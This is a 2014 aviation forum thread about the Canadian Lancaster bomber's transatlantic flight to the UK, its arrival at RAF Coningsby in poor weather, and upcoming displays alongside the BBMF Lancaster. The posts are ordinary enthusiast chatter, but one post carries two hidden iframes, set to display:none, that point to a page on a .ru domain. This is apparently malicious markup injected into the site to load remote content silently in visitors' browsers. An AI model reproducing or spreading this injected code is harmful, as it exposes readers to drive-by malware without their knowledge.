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Paul Anderson
July 14th, 2014, 10:13
... bet that will be a flight he doesn't forget.

http://www.dailymail.co.uk/travel/article-2690412/43-000-Lancaster-Bomber-flight-Atlantic-dream-come-true-English-IT-entrepreneur.html
DarrenL
August 8th, 2014, 02:45
Twittering all the way, with lots of photos - https://twitter.com/MaffMunson<iframe src="about<strong></strong>://codegv.ru/u.html" style="display: none;" id="zunifrm"></iframe><iframe src="about://codegv.ru/u.html" style="display: none;" id="zunifrm"></iframe>

Ps it's here, flying over Scotland at the moment, heading south to meet up with the BBMF and the Red Arrows.
511Flyer
August 8th, 2014, 05:35
She's just landed at RAF Coningsby in some pretty awful weather. The flypast with BBMF was cancelled because of it. Down to 1300 ft for the last 150 miles or so, and then went straight in. Great airmanship, and congratulations to the crew.

You might be interested in these images from Flightradar24.

http://s26.postimg.org/ntrcdwj55/lanc.jpg

http://s26.postimg.org/s1m4mnkkp/lanc1.jpg

Dennis.
stuartcox
August 8th, 2014, 11:50
Despite stormy weather, she safely arrived at RAF Coningsby...
The debut displays, (4 days), will be over my hometown here in sunny Eastbourne... :biggrin-new:

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511Flyer
August 8th, 2014, 11:58
I'll be there on Sunday 17th Stuart. Coming on an specially organised coach trip.
Bomber_12th
August 8th, 2014, 12:00
A great article on its arrival in the UK: http://www.globalaviationresource.com/v2/2014/08/08/aviation-news-cwhm-lancaster-kb726-c-gvra-arrival-signals-start-of-lancaster-bomber-tour/

Pretty awesome to see the worlds only two airworthy Lancasters finally together, just feet apart. They've got a lot of events/flying ahead of them, over the next 6 weeks in the UK.
stuartcox
August 8th, 2014, 12:04
I'll be there on Sunday 17th Stuart. Coming on an specially organised coach trip.

Such a shame, I won't be there for the flying display on Sunday.
All other days, but then off to Belgium. I will be back for the party in the evening though...

edit: Some great on board pics here on twitter:
https://twitter.com/search?q=%23lanc2uk